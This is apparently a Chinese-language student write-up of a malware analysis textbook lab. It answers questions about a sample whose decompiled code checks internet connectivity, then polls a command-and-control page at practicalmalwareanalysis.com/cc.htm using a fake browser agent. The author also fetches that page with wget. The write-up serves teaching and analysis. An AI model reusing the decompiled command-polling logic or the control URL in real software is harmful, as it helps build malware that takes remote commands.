QUESTION 1
What operation does the first subroutine called by main perform?
查看 _main
的汇编代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| .text:00401130 ; =============== S U B R O U T I N E =======================================
.text:00401130
.text:00401130 ; Attributes: bp-based frame
.text:00401130
.text:00401130 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00401130 _main proc near ; CODE XREF: start+AFp
.text:00401130
.text:00401130 var_8 = byte ptr -8
.text:00401130 var_4 = dword ptr -4
.text:00401130 argc = dword ptr 8
.text:00401130 argv = dword ptr 0Ch
.text:00401130 envp = dword ptr 10h
.text:00401130
.text:00401130 push ebp
.text:00401131 mov ebp, esp
.text:00401133 sub esp, 8
.text:00401136 call sub_401000
......
|
可见这个汇编代码调用的第一个子过程是 sub_401000
,同样的查看它的伪代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| signed int sub_401000()
{
signed int result; // eax@2
if ( InternetGetConnectedState(0, 0) )
{
sub_40117F(aSuccessInterne);
result = 1;
}
else
{
sub_40117F(aError1_1NoInte);
result = 0;
}
return result;
}
|
这也是一个判断网络连接状态的函数。
QUESTION 2
What is the subroutine located at 0x40117F
?
跳转到这个地址之后查看这个子过程的伪代码:
1
2
3
4
5
6
7
8
9
10
11
12
| int sub_40117F(const char *a1, ...)
{
int v1; // edi@1
int v2; // ebx@1
va_list va; // [sp+14h] [bp+8h]@1
va_start(va, a1);
v1 = _stbuf(&stru_407160);
v2 = sub_4013A2(&stru_407160, (int)a1, (int)va);
_ftbuf(v1, &stru_407160);
return v2;
}
|
这个跟前面一题的 printf
内容是类似的。应该也是一个 printf
函数。
QUESTION 3
What does the second subroutine called by main do?
先找到 main
函数的调用的第二个子过程,是在 .text:401148
位置调用的函数 sub_401040
。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
| char sub_401040()
{
char result; // al@2
char Buffer; // [sp+0h] [bp-210h]@3
char v2; // [sp+1h] [bp-20Fh]@6
char v3; // [sp+2h] [bp-20Eh]@7
char v4; // [sp+3h] [bp-20Dh]@8
char v5; // [sp+4h] [bp-20Ch]@9
HINTERNET hFile; // [sp+200h] [bp-10h]@1
HINTERNET hInternet; // [sp+204h] [bp-Ch]@1
DWORD dwNumberOfBytesRead; // [sp+208h] [bp-8h]@3
int v9; // [sp+20Ch] [bp-4h]@3
hInternet = InternetOpenA(szAgent, 0, 0, 0, 0);
hFile = InternetOpenUrlA(hInternet, szUrl, 0, 0, 0, 0);
if ( hFile )
{
v9 = InternetReadFile(hFile, &Buffer, 0x200u, &dwNumberOfBytesRead);
if ( v9 )
{
if ( Buffer != 60 || v2 != 33 || v3 != 45 || v4 != 45 )
{
sub_40117F(aError2_3FailTo);
result = 0;
}
else
{
result = v5;
}
}
else
{
sub_40117F(aError2_2FailTo);
InternetCloseHandle(hInternet);
InternetCloseHandle(hFile);
result = 0;
}
}
else
{
sub_40117F(aError2_1FailTo);
InternetCloseHandle(hInternet);
result = 0;
}
return result;
}
|
我们逐个分析,对于:
1
2
| hInternet = InternetOpenA(szAgent, 0, 0, 0, 0);
// szAgent ==> 字符常量 Internet Explorer 7.5/pma
|
这一行代码通过 Internet Explorer 7.5
打开了一个浏览器。
对于:
1
2
| hFile = InternetOpenUrlA(hInternet, szUrl, 0, 0, 0, 0);
// szUrl ==> 字符常量 http://www.practicalmalwareanalysis.com/cc.htm
|
这一行代码在之前打开的浏览器中打开了一个链接 http://www.practicalmalwareanalysis.com/cc.htm
。
对于:
1
| v9 = InternetReadFile(hFile, &Buffer, 0x200u, &dwNumberOfBytesRead);
|
这一行代码将打开的网页读入变量中。
对于:
1
2
3
4
5
6
7
8
| sub_40117F(aError2_3FailTo);
// aError2_3FailTo ==> 字符常量 Error 2.3: Fail to get command
......
sub_40117F(aError2_2FailTo);
// aError2_3FailTo ==> 字符常量 Error 2.2: Fail to ReadFile
......
sub_40117F(aError2_1FailTo);
// aError2_1FailTo ==> 字符常量 Error 2.1: Fail to OpenUrl
|
都是用于抛出异常、错误的函数。
结论:综上所述,这个函数用于读取 http://www.practicalmalwareanalysis.com/cc.htm
的内容,并且将其作为函数的返回结果返回。读取失败会抛出异常。
QUESTION 4
What type of code construct is used in this subroutine?
主要是 if
语句。
QUESTION 5
Are there any network-based indicators for this program?
有。主要有以下三点:
- 静态分析这个应用程序引用的动态链接库,有调用网络相关的 API 函数;
- 动态分析这个应用程序,运行这个应用程序将检测到 DNS 请求。
- 这个应用应用程序的全局变量(字符串)区有
http://www.practicalmalwareanalysis.com/cc.htm
这样的字符串。
QUESTION 6
What is the purpose of this malware?
我们尝试把网页尝试下载的内容下载下来:
1
2
3
4
5
6
7
8
| $ wget http://www.practicalmalwareanalysis.com/cc.htm
--2019-06-05 15:00:49-- http://www.practicalmalwareanalysis.com/cc.htm
Resolving www.practicalmalwareanalysis.com (www.practicalmalwareanalysis.com)... 192.0.78.24, 192.0.78.25
Connecting to www.practicalmalwareanalysis.com (www.practicalmalwareanalysis.com)|192.0.78.24|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://www.practicalmalwareanalysis.com/cc.htm [following]
--2019-06-05 15:00:50-- https://www.practicalmalwareanalysis.com/cc.htm
Connecting to www.practicalmalwareanalysis.com (www.practicalmalwareanalysis.com)|192.0.78.24|:443... connected.
|
一直卡在了这个位置。我们直接用 Chrome
访问发现出现了 404 错误。
暂时不清楚这个恶意代码的作用。